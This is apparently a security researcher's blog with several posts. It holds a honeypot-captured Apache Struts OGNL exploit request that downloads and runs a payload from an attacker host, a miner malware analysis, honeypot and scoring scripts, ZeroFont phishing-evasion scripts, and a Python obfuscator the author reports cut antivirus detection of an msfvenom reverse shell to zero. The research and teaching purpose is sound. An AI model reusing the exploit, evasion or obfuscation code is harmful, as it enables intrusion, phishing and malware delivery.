Saturday, December 8, 2018

Monero Mining Malware from Honeypot

Recently in a honeypot, I observed that the miscreants were looking for a vulnerability in an Apache Struts server running on a Windows Server.  Below is the GET request that was captured:




SrcIP:182.247.95.237 
HTTPCode:200 
HTTPVerb:GET 
URI:/index.do 
UserAgent:Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0) 
Headers:
Cache-Control:no-cache,
Connection:Keep-Alive,
Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='cmd /c echo Set Post = CreateObject("Msxml2.XMLHTTP") >>C:/5.vbs&
echo Set Shell = CreateObject("Wscript.Shell") >>C:/5.vbs&
echo Post.Open "GET","http://a46.bulehero.in/download.exe",0 >>C:/5.vbs&echo Post.Send() >>C:/5.vbs&echo Set aGet = CreateObject("ADODB.Stream") >>C:/5.vbs&echo aGet.Mode = 3 >>C:/5.vbs&echo aGet.Type = 1 >>C:/5.vbs&echo aGet.Open() >>C:/5.vbs&echo aGet.Write(Post.responseBody) >>C:/5.vbs&echo aGet.SaveToFile "C:/Windows/temp/download.exe",2 >>C:/5.vbs&echo wscript.sleep 10000>>C:/5.vbs&echo Shell.Run ("C:/Windows/temp/download.exe")>>C:/5.vbs&C:/5.vbs').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())},

Accept:text/html, application/xhtml+xml, */*,
Accept-Encoding:gbk, GB2312,
Accept-Language:zh-cn,
Host:x.x.x.x:8000


As you can see above a file is downloaded from a46.bulehero.in.  The domain registration is through GoDaddy.  Below is the whois record that I found.  I find it fascinating that the Organization and State/Province is probably random keystrokes from a bot.




Domain Name BULEHERO.IN
Registry Domain ID D414400000006028492-AFIN
Registrar URL www.godaddy.com
Updated Date 2018-11-01T10:56:24Z
Creation Date 2018-05-09T11:12:14Z
Registry Expiry Date 2020-05-09T11:12:14Z
Registrar GoDaddy.com, LLC
Registrar IANA ID 146
Registrar Abuse Contact Email abuse@godaddy.com
Registrar Abuse Contact Phone +1.4806242505
...
Registrant Organization zanwu
Registrant State/Province uysf
Registrant Country AZ


Other subdomains that are associated with this malware that I have found with the associated IP Address and organization that they are associated with:



a45.bulehero.in - 139.162.27.37 - Linode LLC in Singapore
a46.bulehero.in - 139.162.74.150 - Linode LLC in US
a47.bulehero.in - 23.239.7.210 - Linode LLC in US
a48.bulehero.in - 139.162.74.150 - Linode LLC in US
a88.bulehero.in - 139.162.71.92 - Linode LLC in US
support@linode.com

Now going back to the download.exe file that is downloaded.  Evaluating the file we find that it is a Windows x86 binary.


Using the command "upx -d" on the file it decompresses it so that we can look at the binary.  I copied the original file of download.exe to original_download.exe becasue the upx -d command will overwrite the file in-place with the decompressed file.

Looking at the code you can tell that it has backdoor capabilities after it is installed, has the capability to send emails, and much more.  Within the strings of the output you can see that it downloads another file as shown below:


I then downloaded this file from the location and analyzed it further.  This malware was also UPX compressed.  I decompressed the file and conducted a basic analysis.  You can see that it contains backdoor functionality, mimikatz, a list of passwords for brute forcing, and more.  Below is filtered by the string "http" using grep -i.


We find another domain that is involved called heroherohero.info.  That is another rabbit hole that can be investigated.  The part of the binary that caught my attention was the Cfg.ini file.  This configuration file contains information to run a mineXMR bot.  The address of the wallet is in the screenshot below:


They are utilizing the Singapore MineXMR location.  If you lookup the address you can see the following screenshot:


This wallet is probably the benefits of infected computers.  At the bottom you can see that 123 XMR is the total paid which amounts to $46 each XMR for $5,658.  This is not much for the expense of others.

Here are the hashes of the malware that I collected from this analysis:

789072c3f9fe20c7aa691bb23fbfb0ce4239c659889bb1f19f9d81b8493dc117  Cfg.ini
b1017cb86875e7c4a6037db439769650384bca5439d9426cca844038a38c3f00  download.exe
bb2d54d74274dcc822481650d7025b06d0523b473b8f1b82fbd0efe67f196550  original_download.exe
06408e8b2d311cc6f7e85386f3acc4f3b3b8d7e4b4fbec27c49803ce66b2852e  original_unloadcur.exe
a7978d10e171d997a448214edca68e6c22980c0908183df59884f97ab7079322  unloadcur.exe

Enjoy...

Saturday, December 1, 2018

Simple Monitor / Scoring Engine in Python3

The below script was built to monitor IP Addresses and Ports that are open on a network.  Below is more of the dialogue of why it was created and what it does.

Almost 2 years ago I was asked to create a simple script that would monitor if a set of ports were open or closed.  Then if the ports were open provide points for them that would add up for a team score.  This script was used for the LDSBC High School Cyber Defense competition to determine if a team had maintained there systems online as they protected them from a red team and hardened them. Here is what I created located on my github.

I was asked for the same script that I used 2 years ago and found out they have used it a couple of times since that time.  The below script is a much improved scoring engine which the LDSBC is going to use in the High School Cyber Defense competition coming up December 7th.

After running the script I found the following use for it.  I have been in situations where a system administrator or myself has turned off a monitoring system like Nagios due to the amount of alarms that are firing during an outage.  The below script could be used during a timeframe like that to monitor systems that you are working to fix or verify they are working as you are in the middle of an outage.

The script is built to allow you to launch it, configure teams or vlans.  Then after configuring notes about a team or a vlan, configure the IPs and ports you would like monitored.  After launching it provides a status every 10 minutes of the IPs and ports that are UP or DOWN.  The score could be evaluated as the consistency of a system being up.  An audit log is also generated that could be viewed to determine the UP or DOWN time of systems.

Currently it is tuned to allow up to 6 teams/vlans with up-to 20 IPs/Ports per team or a total of 120 IPs/Ports to be monitored within a 10 minute period of time.  This also saves a file that could be restored every 10 minutes during the monitoring process.  This script also allows you to save a configuration that you create.




#!/usr/bin/python3
# Created Nov. 30, 2018
# Updated Dec. 11, 2018


import socket
import datetime
import time

class Teams:
    def __init__(self):
        self.teamName = []

    def addTeam(self, name):
        self.teamName.append(name)
        return self

class Team:
    def __init__(self, name, description, location, score):
        self.name = name
        self.description = description
        self.location = location
        self.score = int(score)



class Ports:
    def __init__(self):
        self.monitoredPorts = []

    def addPort(self, portInfo):
        self.monitoredPorts.append(portInfo)
        return self

class Port:
    def __init__(self, teamName, ip, port, description):
        self.teamName = teamName
        self.ip = ip
        self.port = port
        self.description = description


def modifyPort(poInfo, teInfo):
    while True:
        print('')
        print('')
        print('')
        print('Port Modification')
        print('***************************************************************************************')
        tInfo = "Name:" + str(teInfo.name)
        tInfo += "\tDesc: " + str(teInfo.description)
        tInfo += "\tLocation: " + str(teInfo.location)
        tInfo += "\tScore: " + str(teInfo.score)
        print(tInfo)
        print("")
        pInfo = "Port Desc:" + str(poInfo.description)
        pInfo += "\tIP:" + str(poInfo.ip)
        pInfo += "\tPort:" + str(poInfo.port)
        print('***************************************************************************************')
        print("")
        print("D. Modify IP/Port Description")
        print("I. Modify IP")
        print("P. Modify Port")
        print("")
        print("R. Refresh")
        print("Q. Quit to IP/Port Setup")
        print("")
        selectMod = input("> ")
        if selectMod == 'D' or selectPort == 'd':
            newDesc = input("Change IP/Port description to: ")
            poInfo.description = newDesc.strip().replace('\n','').replace('\r','')
        elif selectMod == 'I' or selectMod == 'i':
            newIP = input("Change IP to: ")
            poInfo.ip = newIP.strip().replace('\n','').replace('\r','')
        elif selectMod == 'P' or selectMod == 'p':
            newPort = input("Change Port to: ")
            poInfo.port = int(newPort.strip().replace('\n','').replace('\r',''))
        elif selectPort == 'Q' or selectPort == 'q':
            return
        else:
            continue
    return


def setPorts(teamInfo, nPorts):
    while True:
        print('')
        print('')
        print('')
        print('IP/Port Setup')
        print('***************************************************************************************')
        tInfo = "Name:" + str(teamInfo.name)
        tInfo += "\tDesc: " + str(teamInfo.description)
        tInfo += "\tLocation: " + str(teamInfo.location)
        tInfo += "\tScore: " + str(teamInfo.score)
        print(tInfo)
        print('***************************************************************************************')
        portNumber = 1
        portNumberSet = []
        for port in nPorts.monitoredPorts:
            if port.teamName == teamInfo.name:
                # Check if IP is in correct format
                # Check if Port is in correct format
                print(str(portNumber) + ". " + str(port.description) + "\t\tIP:" + str(port.ip) + "\t\tPort:" + str(port.port))
                portNumberSet.append(portNumber)
            portNumber += 1
        if len(nPorts.monitoredPorts) == 0:
            print("No ports have been configured.")
        if len(nPorts.monitoredPorts) > 0:
            print("** To modify a monitored port above select the number in the front.")
        print("")
        print('A. Add Port')
        print('')
        print('N. Modify Team Name')
        print('D. Modify Team Description')
        print('L. Modify Team Location')
        print('S. Modify Team Score')
        print('')
        print('Q. Quit to Main')
        print
        selectPort = input('> ')
        try:
            numbPort = int(selectPort)
            if len(nPorts.monitoredPorts) >= numbPort and numbPort in portNumberSet:
                modifyPort(nPorts.monitoredPorts[numb-1], teamInfo)
        except:
            if selectPort == 'A' or selectPort == 'a':
                portDescription = input("Input Description of Monitored Port: ")
                portDescription = portDescription.strip().replace('\n','').replace('\r','')
                portIP = input("Input IP to Monitor for " + str(teamInfo.name) + ": ")
                portIP = portIP.strip().replace('\n','').replace('\r','')
                portPort = input("Input Port to Monitor: ")
                portPort = int(portPort.strip().replace('\n','').replace('\r',''))
                nPorts.addPort(Port(teamInfo.name, portIP, portPort, portDescription))
            elif selectPort == 'N' or selectPort == 'n':
                newName = input("Change team name to: ")
                newName = newName.strip().replace('\n','').replace('\r','')
                teamInfo.name = newName
            elif selectPort == 'D' or selectPort == 'd':
                newDesc = input("Change team description to: ")
                newDesc = newDesc.strip().replace('\n','').replace('\r','')
                teamInfo.description = newDesc
            elif selectPort == 'L' or selectPort == 'l':
                newLoc = input("Change team location to: ")
                newLoc = newLoc.strip().replace('\n','').replace('\r','')
                teamInfo.location = newLoc
            elif selectPort == 'S' or selectPort == 's':
                newScore = input("Change team score from " + str(teamInfo.score) + " to: ")
                newScore = newScore.strip().replace('\n','').replace('\r','')
                teamInfo.score = int(newScore)
            elif selectPort == 'Q' or selectPort == 'q':
                main()
            else:
                continue
    return




def saveTeam(nTeams, nPorts):
    print('')
    fileName = input('Input file to save to, contents will be overwritten (i.e. savedTeam.txt): ')
    fileName = fileName.strip().replace('\n','').replace('\r','')
    if len(fileName) < 4:
        print('Invalid file name, using savedTeam.txt')
        fileName = 'savedTeam.txt'
    f = open(fileName, 'w')
    for team in nTeams.teamName:
        outputTeam = "TEAM" + "|" + str(team.name) + "|" + str(team.description) + "|" + str(team.location) + "|" + str(team.score) + "\r\n"
        f.write(outputTeam)
    for port in nPorts.monitoredPorts:
        outputPort = "PORT" + "|" + str(port.teamName) + "|" + str(port.ip) + "|" + str(port.port) + "|" + str(port.description) + "\r\n"
        f.write(outputPort)
    f.close()
    return



def saveTeamMonitoring(nTeams, nPorts):
    now = datetime.datetime.now()
    timeInfo = now.strftime("_%m_%d_%YT%H_%M")
    fileName = 'monitoringSaveTeam' + timeInfo + '.txt'
    f = open(fileName, 'w')
    for team in nTeams.teamName:
        outputTeam = "TEAM" + "|" + str(team.name) + "|" + str(team.description) + "|" + str(team.location) + "|" + str(team.score) + "\r\n"
        f.write(outputTeam)
    for port in nPorts.monitoredPorts:
        outputPort = "PORT" + "|" + str(port.teamName) + "|" + str(port.ip) + "|" + str(port.port) + "|" + str(port.description) + "\r\n"
        f.write(outputPort)
    f.close()
    print('Saved current team information to the file "' + fileName + '"')
    print('If you stop the program you can restore this file with the scores at this point-in-time.')
    return






def loadTeam(nTeams, nPorts):
    print('')
    fileName = input('Input file name to load: ')
    fileName = fileName.strip().replace('\n','').replace('\r','')
    if len(fileName) < 4:
        print('Invalid file name, trying savedTeam.txt')
        fileName = 'savedTeam.txt'
    try:
        f = open(fileName, 'r')
        for line in f:
            column = line.split('|')
            if column[0] == 'TEAM':
                nTeams.addTeam(Team(column[1], column[2], column[3], column[4].strip()))
            elif column[0] == 'PORT':
                nPorts.addPort(Port(column[1], column[2], column[3], column[4].strip()))
            else:
                print('Invalid line format found in ' + fileName + '. You will need to manually correct it.')
        f.close()
        print("")
        print("** Note: The score was loaded with the restored information...")
        print("")
    except:
        print("")
        print('Sorry either the file does not exist or problems loading the file exist.')
    print("")
    return





def monitorMode(currentTeams, currentPorts):
    while True:
        print('')
        print('')
        print('')
        print('Monitoring Mode - Will cylcle through all ports every 10 minutes...')
        print('**Note: If the cycle time is greater than 600 seconds not enough time is allowed.')
        print('***************************************************************************************')
        print('Current Team Scores')
        for team in currentTeams.teamName:
            teamInfo = str(team.name)
            teamInfo += "\tDesc: " + str(team.description)
            teamInfo += "\tLocation: " + str(team.location)
            teamInfo += "\tScore: " + str(team.score)
            print(teamInfo)
        print('***************************************************************************************')
        fAudit = open('auditLog.txt', 'a')
        timeSleep = 0
        totalSleep = 0
        beforeCycle = time.time()
        for port in currentPorts.monitoredPorts:
            ip = port.ip
            currentPort = int(port.port)
            beforeDate = datetime.datetime.now()
            beforeConnection = time.time()
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(2)
            result = s.connect_ex((ip,currentPort))
            s.close()
            if result == 0:
                for team in currentTeams.teamName:
                    if team.name == port.teamName:
                        # For each successful connection it provides 5 points
                        team.score = team.score + 5
                        teamScore = team.score
                infoAudit = port.teamName + "|"
                infoAudit += port.ip + "|"
                infoAudit += str(port.port) + "|"
                infoAudit += "UP|"
                infoAudit += beforeDate.strftime("%m-%d-%Y %H:%M:%S") + "|"
                infoAudit += str(teamScore)
                print(infoAudit)
                infoAudit += "\r\n"
                fAudit.write(infoAudit)
            else:
                infoAudit = port.teamName + "|"
                infoAudit += port.ip + "|"
                infoAudit += str(port.port) + "|"
                infoAudit += "DOWN|"
                infoAudit += beforeDate.strftime("%m-%d-%Y %H:%M:%S") + "|"
                infoAudit += "|"
                print(infoAudit)
                infoAudit += "\r\n"
                fAudit.write(infoAudit)
            afterConnection = time.time()
            # Sleep for a total of 5 seconds per connection whether failed or successful
            timeSleep = 5 - (afterConnection - beforeConnection)
            #print("Time Elapsed: " + str(timeSleep))
            time.sleep(timeSleep)
            totalSleep += 5
        fAudit.close()
        print("")
        saveTeamMonitoring(currentTeams, currentPorts)
        # Setup to monitor all connections every 10 minutes (6 teams 20 ports = 120 ports * 5 seconds = 600 seconds)
        # 3 hours / 10 minutes = 18 cycles
        afterCycle = time.time()
        totalCycle = afterCycle - beforeCycle
        print("")
        print("Cycle took " + str(totalCycle) + " seconds.")
        totalTimeSleep = 600 - (afterCycle - beforeCycle)
        print("Sleeping for " + str(totalTimeSleep) + " seconds until the next cycle.")
        time.sleep(totalTimeSleep)
        totalSleep = 0
    return


def main(newTeams, newPorts):
    while True:
        print('')
        print('')
        print('')
        print('Main Menu')
        print('***************************************************************************************')
        teamNumber = 1
        for team in newTeams.teamName:
            portCount = 0
            for port in newPorts.monitoredPorts:
                if port.teamName == team.name:
                    portCount += 1
            teamInfo = str(teamNumber) + ". "
            teamInfo += str(team.name)
            teamInfo += "\tDesc: " + str(team.description)
            teamInfo += "\tLocation: " + str(team.location)
            teamInfo += "\tPorts Configured: " + str(portCount)
            teamInfo += "\tScore: " + str(team.score)
            print(teamInfo)
            teamNumber += 1
        if len(newTeams.teamName) == 0:
            print("No teams have been configured.")
        if len(newTeams.teamName) > 0:
            print("** To modify a team select the number in the front.")
        print('')
        print('A. Add Team')
        print('L. Load Team Info from File')
        print('S. Save Team Info to File')
        print('')
        print('Type "Monitor" to enter monitoring mode based on the configuration above')
        print('')
        print('R. Refresh')
        print('Q. Quit')
        print("")
        selection = input('> ')
        try:
            numb = int(selection)
            if len(newTeams.teamName) >= numb:
                setPorts(newTeams.teamName[numb-1], newPorts)
        except:
            if selection == 'A' or selection == 'a':
                teamName = input("Input team name: ")
                teamDescription = input("Input team description: ")
                teamLocation = input("Input team location: ")
                newTeams.addTeam(Team(teamName, teamDescription, teamLocation, 0))
            elif selection == 'L' or selection == 'l':
                loadTeam(newTeams, newPorts)
            elif selection == 'S' or selection == 's':
                saveTeam(newTeams, newPorts)
            elif selection == 'Q' or selection == 'q':
                exit()
            elif selection == 'monitor' or selection == 'Monitor' or selection == 'MONITOR':
                monitorMode(newTeams, newPorts)
            else:
                continue
    return



listTeams = Teams()
listPorts = Ports()
main(listTeams, listPorts)




pcap Challenge from myhouse7

Description of the pcap Challenge


This pcap challenge was created from an attacker scanning, penetrating and pivoting through the myhouse7 virtual machine.  The owners of the network are aware of the attack due to detecting it in the logs.  They are not concerned about the information that may have been compromised but would like to learn from the attack.  Download the pcap Challenge from my google drive at this link.

Your Task


1. Draw a network diagram of the systems that were involved in the attack.  The diagram should include all of the IP Addresses separated by networks involved.

2. Put together a timeline of the major events.

2. Identify the tools that were used by the attacker.

3. Identify what was used by the attacker to access and/or gain control of the servers.

4. What scripts or evidence did the attacker leave behind that the owners could go and evaluate?

5. Did the attacker download an encrypted file from a file server?

Download Location


Download the pcap Challenge from my google drive at this link.

Sunday, November 18, 2018

python3 http.server HTTP Honeypot

Created a python3 http.server honeypot that responds to everything with an html code of 301 redirect to msn.com and creates a log of the connecting IP Address, http verb, path of the connection, http code, and the headers including the user agent.  It also records the POST variables if they exist.

Added the ability to change the server header, protocol and sys version (python version) displayed.





#!/usr/bin/python3

import datetime
from http.server import HTTPServer, BaseHTTPRequestHandler


def servePage(s, hverb):
    now = datetime.datetime.now()
    logtime = now.strftime("%m-%d-%Y %H:%M")
    userAgent = str(s.headers['User-Agent'])
    if hverb == "POST":
        contentLen = int(s.headers['Content-Length'])
        body = s.rfile.read(contentLen)
        postInfo = body.decode("utf-8")
    else:
        postInfo = ""
    log = logtime
    log += " SrcIP:" + s.client_address[0]
    log += " HTTPCode:200"
    log += " HTTPVerb:" + hverb
    log += " URI:" + s.path
    log += " UserAgent:" + userAgent
    log += " Headers("
    for h in s.headers:
        if "User-Agent" not in h:
            log += h + ":" + s.headers[h] + ","
    log = log[:-1]
    log += ")"
    if hverb == "POST":
        log += " POST:" + postInfo
    log += "\n"
    f = open('log.txt', 'a')
    f.write(log)
    f.close()
    s.protocol_version = 'HTTP/1.1'
    s.server_version = 'Microsoft-IIS/8.5'
    s.sys_version = ''
    #s.send_response(200)
    # Setup with the below 2 lines to redirect to another page.  Example below is msn.com
    s.send_response(301)
    s.send_header('Location','http://www.msn.com')
    s.send_header('X-Powered-By', 'ASP.NET')
    s.send_header('Content-type', 'text/html')
    s.end_headers()
    message = ""
    s.wfile.write(bytes(message, "utf8"))
    return


class StaticServer(BaseHTTPRequestHandler):

    def do_GET(self):
        servePage(self, "GET")
        return

    def do_POST(self):
        servePage(self, "POST")
        return

    def do_PUT(self):
        servePage(self, "PUT")
        return

    def do_DELETE(self):
        servePage(self, "DELETE")
        return

    def do_OPTIONS(self):
        servePage(self, "OPTIONS")
        return

# You can change the port it listens on below...
def main(server_class=HTTPServer, handler_class=StaticServer, port=8005):
    server_address = ('', port)
    httpd = server_class(server_address, handler_class)
    print('Starting httpd on port {}'.format(port))
    httpd.serve_forever()



print("http.server Honeypot")
main()






Wednesday, November 7, 2018

Lab Book 2.0.12

Summary

Lab_Book_2.0 is a book that I designed for students of an IT 222 Ethical Hacking class that I have been asked to teach at LDS Business College.  The lab book consists of walkthroughs of 7 different virtual machines, introduces them to exploit kits, phishing, command-and-control, and buffer overflows.  However the main objectives of this lab book are to introduce students to a variety of tools that they can utilize, techniques that they can use to test for security vulnerabilities and to understand how to write a technical report of what they found and how they found it.

You can download the Lab Book from my Google Drive at this link.

Here are recorded videos for labs 2, 3, 5 and 6.



Friday, November 2, 2018

myhouse7 - Vulnerable Virtual Machine

Description of Vulnerable Virtual Machine

myHouse7 is a vulnerable virtual machine with multiple docker images setup to be a capture-the-flag (CTF) challenge.  The goal of this vulnerable virtual machine is to present a lab where you can learn and practice to pivot through the subnets to be able to compromise all of the hosts/containers except 1. 

Download from my Google Drive.

SHA1: ffefa2283d48c98baace90fb1ed93c1aa464c925

CTF Flag Information


This CTF challenge consists of a total of 20 flags.  The virtual machine that is provided contains 2 flags and each docker image/container when running contains 3 additional flags with exception to 1 host.  The 1 host that is the exception has no flags.  (A mistake that I made was to name 2 flags the same.)

The structure of each flag is as follows: {{tryharder:xxx}}.  The xxx in the example could be a single digit or up to 4 digits.

Network Diagram

Below is a network diagram of the setup which may or may not be accurate.  The virtual machine represents the firewall in the network diagram below.  A total of 7 docker images/containers launch each time the virtual machine loads.


Download Information

You are able to download this file from my Google Drive at this link.  The file is 2.7GB compressed with 7-zip.  The file is a compressed OVF exported virtual machine from VMWorkstation 14.  After importing the virtual machine, the first time that it loads will take upwards of 15 minutes due to building the environment and decompressing the docker images.  After the first time you load the virtual machine it will be quicker due to only having to load the docker images into containers.

Thursday, October 4, 2018

Script to Extract IP Addresses from a File, Dedup, and Remove Brackets if they Exist

Here is a quick script to extract IP Addresses from a File, deduplicate them and remove the brackets if they exist around the periods.

#!/usr/bin/python3
# Extract IP Addresses

import re
file = open("temp")
ipList = []
for line in file:
        #ip = re.findall( r'[0-9]+(?:\.[0-9]+){3}', line )
        ip = re.findall( r'[0-9]+(?:(?:|\[)\.(?:|\])[0-9]+){3}', line )
        if ip:
             for item in ip:
                 item = item.replace('[','').replace(']','')
                 if item not in ipList:
                      ipList.append(item)

for i in ipList:
        print(i)

Sunday, September 30, 2018

ZeroFont Vulnerability Testing and PoC - Updated

Recently a friend of mine published an article called "The ZeroFont Exploit Continues".  He referenced a link at the following location, "http://www.avanan.com/resources/zerofont-phishing-attack".  From this research I was testing to see if I could send an email that is similar to myself.  Though I did not formulate a phishing email I used the above tactics to send a message and it went through.

Below are the scripts that I used to test how "The ZeroFont Exploit Continues"...




#!/usr/bin/python

# Allow the first 50 characters of the message to not have zero fonts.
# Allow for if a link is found within the message to keep the link in tact.

import random

alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
messageSpacing = 50 # How many characters from the beginning to not encode
newMessage = ''
f = open('message.txt', 'r')
for line in f:
    letterCount = 0
    counter = random.randint(1,4)
    htmlChar = False
    for letter in line.replace('\n',''):
        newMessage += letter
        if letter == '<':
            htmlChar = True
            letterCount += 1
            messageSpacing -= 1
        elif letter == '>':
            htmlChar = False
            letterCount += 1
            messageSpacing -= 1
        elif htmlChar == False:
            if messageSpacing > 0:
                messageSpacing -= 1
            elif letterCount >= counter:
                letterCount = 0
                counter = random.randint(1,4)
            elif letterCount == 1:
                randStr = ''
                for i in range(0,random.randint(3,12)):
                    randStr += alphabet[random.randint(0,61)]
                #newMessage += '<span style="FONT-SIZE: 0px">' + randStr + '</span>'
                newMessage += '<span style="font-size:0px;color:transparent">' + randStr + '</span>'
                letterCount += 1
            else:
                letterCount += 1
    newMessage += '<br />'


print "<html><body>"
print newMessage
print "</body></html>"

---
Script to send the Email
---

#!/usr/bin/python

import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email import encoders

msg = MIMEMultipart('alternative')
msg['Subject'] = "ZeroFont Exploit"
msg['From'] = "from_email"
msg['To'] = "to_email"

# Attach the HTML Message
htmlMsg = ''
f = open('t', 'r')
for line in f:
    htmlMsg += line.strip()
htmlPart = MIMEText(htmlMsg, 'html')
msg.attach(htmlPart)

# Attach an Attachment
f = open('script', 'rb')
filePart = MIMEBase('application', 'octet-stream')
filePart.set_payload((f).read())
encoders.encode_base64(filePart)
filePart.add_header('Content-Disposition', "attachment; filename=script")
msg.attach(filePart)

fromAddress='from_email'
toAddress='to_email'

username='username'
password='password'

server = smtplib.SMTP('smtp.server.com:1527')
server.starttls()
server.login(username, password)
server.sendmail(fromAddress, toAddress, msg.as_string())
server.quit()




These scripts are meant to assist in security researchers thwarting this vulnerability that phishing emails are exploiting in email filters.

Saturday, May 12, 2018

Python Parser for Google Analytics Cookies

Created a quick python 2.7 parser for Google Analytics Cookies from a pcap file using the output of tshark.  Here is the link to the file.  It is not well tested!

Friday, April 6, 2018

Python Script Obfuscater

Recently, I can across some malware that was obfuscated multiple times to avoid AV detection.  I decided to create a simple python script obfuscater for the heck of it.

What the python script will do is it will create a recipe of what you would like to obfuscate another python script with.  Then apply the recipe that is selected and provide an outFile.py as the output.




#!/usr/bin/python

import base64
import zlib
import bz2

def applyb64(i):
 print "base64 Encoding the Information"
 headerInfo = '#!/usr/bin/python\n'
 headerInfo += 'import base64;exec(base64.b64decode("'
 encodedInfo = base64.b64encode(i)
 footerInfo = '"))'
 outputInfo = headerInfo + encodedInfo + footerInfo
 return outputInfo

def applyZLIB(i):
 print "zlib Compress the Information"
 compressionLevel = raw_input("Select compression level (1-9): ")
 headerInfo = '#!/usr/bin/python\n'
 headerInfo += 'import zlib, base64;z=base64.b64decode("'
 encodedInfo = base64.b64encode(zlib.compress(i, int(compressionLevel)))
 footerInfo = '");y=zlib.decompress(z);exec(y)'
 outputInfo = headerInfo + encodedInfo + footerInfo
 return outputInfo

def applyBZ2(i):
 print "bz2 Compress the Information"
 compressionLevel = raw_input("Select compression level (1-9): ")
 headerInfo = '#!/usr/bin/python\n'
 headerInfo += 'import bz2, base64;w=base64.b64decode("'
 encodedInfo = base64.b64encode(bz2.compress(i, int(compressionLevel)))
 footerInfo = '");r=bz2.decompress(w);exec(r)'
 outputInfo = headerInfo + encodedInfo + footerInfo
 return outputInfo

def applyXOR(i):
 print "XOR Information"
 hexValue = raw_input("XOR INT Value: ")
 headerInfo = '#!/usr/bin/python\n'
 headerInfo += 'import base64;j=bytearray(base64.b64decode("'
 bArray = bytearray(i)
 for b in range(len(bArray)):
  bArray[b] ^= int(hexValue)
 encodedInfo = base64.b64encode(bArray)
 footerInfo = '"));\n'
 footerInfo += 'for c in range(len(j)): j[c] ^= ' + hexValue + '\n'
 footerInfo += 'exec(str(j))'
 outputInfo = headerInfo + encodedInfo + footerInfo
 return outputInfo


def executeRecipe(r):
 outputPython = "outFile.py"
 print 
 filename = raw_input("Filename to apply recipe: ")
 print
 info = ''
 f = open(filename, "r")
 for line in f:
  if '#!/usr/bin/python' not in line:
   info += line
 f.close()
 for recipe in r:
  if recipe == "b64":
   outputRecipe = applyb64(info)
   info = outputRecipe
  elif recipe == "XOR":
   outputRecipe = applyXOR(info)
   info = outputRecipe
  elif recipe == "zlib":
   outputRecipe = applyZLIB(info)
   info = outputRecipe
  elif recipe == "bz2":
   outputRecipe = applyBZ2(info)
   info = outputRecipe
 f = open(outputPython, "w")
 f.write(outputRecipe)
 f.close()
 



def main():
 recipes = []
 selection = 'a'
 print
 print "Build a Encoded/Compressed File from a Recipe you Build"
 while selection <> 'q' and selection <> 'Q':
  print "Select which task to fulfill:"
  print "1. Base64 Encode"
  print "2. XOR"
  print "3. zlib Compress"
  print "4. bz2 Compress"
  print
  print "D. Display Recipe"
  print "E. Execute Recipe"
  print "Q. Quit"
  selection = raw_input("> ")
  if selection == '1':
   print
   print "base64"
   recipes.append("b64")
   print
  elif selection == '2':
   print
   print "XOR"
   recipes.append("XOR")
   print
  elif selection == '3':
   print
   print "zlib"
   recipes.append("zlib")
   print
  elif selection == '4':
   print
   print "bz2"
   recipes.append("bz2")
   print
  elif selection == "D" or selection == "d":
   print
   print "Recipe:"
   for recipe in recipes:
    print recipe
   print
  elif selection == "E" or selection == "e":
   print
   print "Executing the Recipe"
   executeRecipe(recipes)
   print
   recipes = []


if __name__ == "__main__":
 main()
  


I tested with a meterpreter payload in a python script.  Generated from the following command:

msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address>  
LPORT=<Your Port to Connect On> -f raw > shell.py

Initially virustotal caught 3/58 AV's detected it.  Then with running it through a recipe, it came back with 0/58 AV's detecting it.

Test Authentication from Linux Console using python3 pexpect

Working with the IT420 lab, you will discover that we need to discover a vulnerable user account.  The following python3 script uses the pex...